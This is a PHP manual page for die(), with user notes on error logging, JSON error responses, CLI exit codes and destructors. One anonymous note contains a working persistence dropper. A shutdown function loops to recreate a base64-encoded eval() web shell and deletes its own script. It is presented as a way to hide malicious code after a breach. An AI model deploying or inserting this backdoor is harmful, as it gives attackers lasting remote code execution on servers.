die

(PHP 4, PHP 5, PHP 7, PHP 8)

die等同于 exit()

说明

语法结构等同于 exit()

User Contributed Notes

smcbride at msn dot com 30-Dec-2020 12:13
I always think about why duplicate commands deserve to exist, but die is one of those that I know why.  It may be the same as exit(), but when you want to search through source code for die() for an unhandled error vs. a clean exit(), it helps a bit on the debugging.  Not to mention backward compatibility, but we deprecate those reasons for 'good' reason.
Anonymous 06-Nov-2020 08:36
Do not forget to add an error log, so you also get to know about the problem, as well as an error 500 header.

$message =  'Description of the error.';
error_log($message);
header($_SERVER['SERVER_PROTOCOL'] . ' 500 Internal Server Error', true, 500);
die($message);
info at alzlper dot com 30-Dec-2017 06:24
Using die() can be a good option when working with HTTP Endpoints.

If your PHP Script is one, you can use die() to send back an error as plain text or JSON for example.

die(json_encode(array('error' => 'some error')));
Anonymous 02-Nov-2017 07:02
1.) I run something similar to this for 3 days on a couple of systems. It seems like this function does not have any time limitation at all, IF it gets called due to a max_execution_time-out.
<?php

ignore_user_abort
(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "LOG_FILE", ABS_PATH . "log.txt" );

function
shutdown() {
  while(
true) {
   
file_put_contents(LOG_FILE, date("c") . " (shutdown)\n", FILE_APPEND);
   
sleep(1);
  }
}

register_shutdown_function("shutdown");

ini_set("max_execution_time", 3);

while(
true) {
 
file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
 
sleep(1);
}

/* log.txt
2017-11-01T23:56:00+00:00 (normal)
2017-11-01T23:56:01+00:00 (normal)
2017-11-01T23:56:02+00:00 (normal)
2017-11-01T23:56:03+00:00 (shutdown)
2017-11-01T23:56:04+00:00 (shutdown)
2017-11-01T23:56:05+00:00 (shutdown)
[ logs for 3 days ]
*/

?>

2.) With this code, the registered function is limited to max_execution_time.
<?php

// [...]

file_put_contents(LOG_FILE, date("c") . " (normal)\n", FILE_APPEND);
sleep(1);
EXIT;
// <-- Now with exit, not needed just to show

/* log.txt
2017-11-01T23:57:38+00:00 (normal)
2017-11-01T23:57:39+00:00 (shutdown)
2017-11-01T23:57:40+00:00 (shutdown)
*/

?>

3.) This is very evil. you can run code "forever". For example, this code checks if the file shell.php exists, and drops it if not. Of course, this is not how a hacker breach in. But if he has access, this is a great place to hide evil code.
<?php

ignore_user_abort
(true);
define( "ABS_PATH", getcwd() . DIRECTORY_SEPARATOR );
define( "SHELL_PATH", ABS_PATH . "shell.php" );
define( "STOP_FILE", ABS_PATH . "stop.txt" );
define( "SLEEP", 10 );
/* base64 of: <?php if(isset($_POST['exec'])) eval($_POST['exec']); ?> */
define( "SHELL_CODE", "PD9waHAgaWYoaXNzZXQoJF9QT1NUWydleGVjJ10pKSBldmFsKCRfUE9TVFsnZXhlYyddKTsgPz4=" );

function
shutdown() {
  while(
true) {
    if(
file_exists( STOP_FILE ) ) {
      break;
    }
    if( !
file_exists( SHELL_PATH ) )
     
file_put_contents( SHELL_PATH, base64_decode( SHELL_CODE ) );
   
sleep(SLEEP);
  }
  exit;
}

register_shutdown_function("shutdown");

// Do something. Delete this drop script for example.
unlink($_SERVER['SCRIPT_FILENAME']);

// Try 1 to go to shutdown
ini_set("max_execution_time", 1);
usleep(1500000);

// Try 2 to go to shutdown
sleep(ini_get("max_execution_time") + 1);

// Try 3 to go to shutdown (better have a max_execution_time ...)
while(true) {
 
sleep(1);
}

?>
Hayley Watson 25-Aug-2012 04:29
It is poor design to rely on die() for error handling in a web site because it results in an ugly experience for site users: a broken page and - if they're lucky - an error message that is no help to them at all. As far as they are concerned, when the page breaks, the whole site might as well be broken.

If you ever want the public to use your site, always design it to handle errors in a way that will allow them to continue using it if possible. If it's not possible and the site really is broken, make sure that you find out so that you can fix it. die() by itself won't do either.

If a supermarket freezer breaks down, a customer who wanted to buy a tub of ice cream doesn't expect to be kicked out of the building.
Damien Bezborodov 20-Aug-2009 10:45
Beware that when using PHP on the command line, die("Error") simply prints "Error" to STDOUT and terminates the program with a normal exit code of 0.

If you are looking to follow UNIX conventions for CLI programs, you may consider the following:

<?php
fwrite
(STDERR, "An error occurred.\n");
exit(
1); // A response code other than 0 is a failure
?>

In this way, when you pipe STDOUT to a file, you may see error messages in the console and BASH scripts can test for a response code of 0 for success:

rc@adl-dev-01:~$ php die.php > test
An error occurred.
rc@adl-dev-01:~$ echo $?
1

Ideally, PHP would write all Warnings, Fatal Errors, etc on STDERR, but that's another story.
jbailey at raspberryginger dot com 20-Jan-2007 09:33
die doesn't prevent destructors from being run, so the script doesn't exit immediately, it still goes through cleanup routines.
PHP8中文手册 站长在线 整理 版权归PHP文档组所有